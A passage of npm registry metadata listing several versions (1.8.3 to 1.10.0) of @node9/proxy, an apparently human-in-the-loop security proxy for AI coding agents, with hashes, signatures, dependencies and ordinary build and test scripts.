515015c35e0779b5d6181188d7973a591bed048","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.8.3.tgz","fileCount":20,"integrity":"sha512-lbSx9ICu15tkjR+4AfxS2uYqZLx24y3fhgxt+WZEXMPziIZRp1MrujxMhPKeFRHKlYxFdtckSM3+B73qnwWDUg==","signatures":[{"sig":"MEYCIQDMAbmrrNyBFzA40xC1PKPf2v5t/VxfpGb9nulPzBFXbgIhAOXzrM8jjVj4/jyl03odf6Mf7SOzzaCXBLQ44PGwgXId","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.8.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1109165},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"678e217788f11c797bbd66dd2a28c1366227d994","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.8.3_1775759455851_0.935514700351912","host":"s3://npm-registry-packages-npm-production"}},"1.8.4":{"name":"@node9/proxy","version":"1.8.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.8.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"efc04021a89944b73126d6781d38d2c6ca5ace69","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.8.4.tgz","fileCount":20,"integrity":"sha512-cXfqK9P/keuCwXxKeq8sauD+b8Fhu5KguAjbgeiG7Z0rQGyq9o20peROT/VIKKoihGX8h0weEdwUAFaqTjOr8w==","signatures":[{"sig":"MEUCIQDJfc/4GbvI/+JeJHyU9KY6E6wozaYThsIMJ2d9DQOmdQIgA9njso4zkIRjbTCyzGgODMl5+r5IqAVG2sENwaIExUM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.8.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1109165},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"402d0b6f9fa1b6537bfc414826803577abbae9c3","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.8.4_1775759968423_0.3120885849407007","host":"s3://npm-registry-packages-npm-production"}},"1.9.0":{"name":"@node9/proxy","version":"1.9.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.9.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1beb57d487d58ea439092fd684c2b42684128ff1","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.9.0.tgz","fileCount":20,"integrity":"sha512-gBf2Or7RTAMVhLHVZIVmAaXlXS9u32+CZcQns/wDpc25K1PElHNklUBw21w7tpPm7SVjD0DlFaoQwIsoiQV9pw==","signatures":[{"sig":"MEYCIQD6KArQMsL6UuRDU90ord0D+YfXKRqLUwmWHkZL8qvkBgIhAJLYapaTPtyib24F4AVHkX3M5PEEweCNG2Y1NItgSJqz","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.9.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1109165},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4ae99a53e66c4850dc1d3d67301072a5451f7d33","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.9.0_1775760058958_0.0033156950649015915","host":"s3://npm-registry-packages-npm-production"}},"1.9.1":{"name":"@node9/proxy","version":"1.9.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.9.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"47935e8ec1812da0b66201351e450e8fbba55081","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.9.1.tgz","fileCount":20,"integrity":"sha512-pC79OP2YSHg9Ezh65HtRolY7WRY0LGwvXtB0WnwTrhDxqaFejkSAl9r9euREhkT9QPnUSiOMl6fPmsPaMhlHzw==","signatures":[{"sig":"MEUCIGSTAJnPzwX4Ti6kalcB/V8kljsiJ//NylWxZGKNQ8pHAiEA8ROdVy4RDuCecjv9D1DU/5o6dS8GuL2GrqeRRV1dniE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.9.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1145675},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"31a6b1c573928c75d097609a2463db9e6c78ab61","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.9.1_1775921934864_0.06488567295152547","host":"s3://npm-registry-packages-npm-production"}},"1.9.2":{"name":"@node9/proxy","version":"1.9.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.9.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"78e1526b27a4e13b6ef4e24e990cea10c25215ed","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.9.2.tgz","fileCount":20,"integrity":"sha512-M1Wxxg7itXHEZ6bgXB7s7CY/MkQ55ovj/Abb16tfEewV+ZyvbQRNbbnMl57gcRcT3nK9xPrGUt/8UjhzXBSLcQ==","signatures":[{"sig":"MEQCIAfJ3H4J/ZhObHNuF8qrNUZJtKjC5b9I/+U+VQtDMfYfAiBGiBIY65NDbwrRUVt++De/0QBjIRfPD/UaH7WheURNyQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.9.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1145675},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6fe79d667b25303d182edf29de176849b0770dbe","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.9.2_1775923697287_0.7212616134366159","host":"s3://npm-registry-packages-npm-production"}},"1.9.3":{"name":"@node9/proxy","version":"1.9.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.9.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3af766ed87877b83e6aa45216a4acd32ac9bcb03","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.9.3.tgz","fileCount":20,"integrity":"sha512-QNjrmlnByCIyJpk5XttixwU3MAqUUlLcReHdyyfN/0naClWc2z0quoa6QNPvKasVXi9DP+CWS3GLg0mbRcXerg==","signatures":[{"sig":"MEYCIQDd7L9jX6gY9wqJwnYdBarMMY6dUN6B2FHL7k1Qjiy5nQIhAIDyJRMnVD9FjICirg4L5p4R/Gl8mWh3d0Is+SBHI7Z6","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.9.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1155885},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8495ad0168833cce0c9e669939b850dce96e7918","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.9.3_1776071418528_0.4570256603451637","host":"s3://npm-registry-packages-npm-production"}},"1.10.0":{"name":"@node9/proxy","version":"1.10.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.10.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b7acc66631908e90595eaa0788562701adc280b6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.10.0.tgz","fileCount":20,"integrity":"sha512-7mz2muZVUOxJlB8+UYz1IEaijdq6tbuRXgUiYpBCVjkBKA1oGBD5kPZ/2NMqXUB9SHcWUXGW+phTH8rky20TKw==","signatures":[{"sig":"MEUCIQCYcjuEnbU1SZaiF5eT3dz+7MbwGUs1cm7czsDrKy42SQIgYZIzTvSKPbiZNRJvdaI7jxq0wGHo26H4qHISU5yktKE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.10.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1212270},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"54e5cd92182f1c9c09c7b83a82ee74cc33e703c0","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 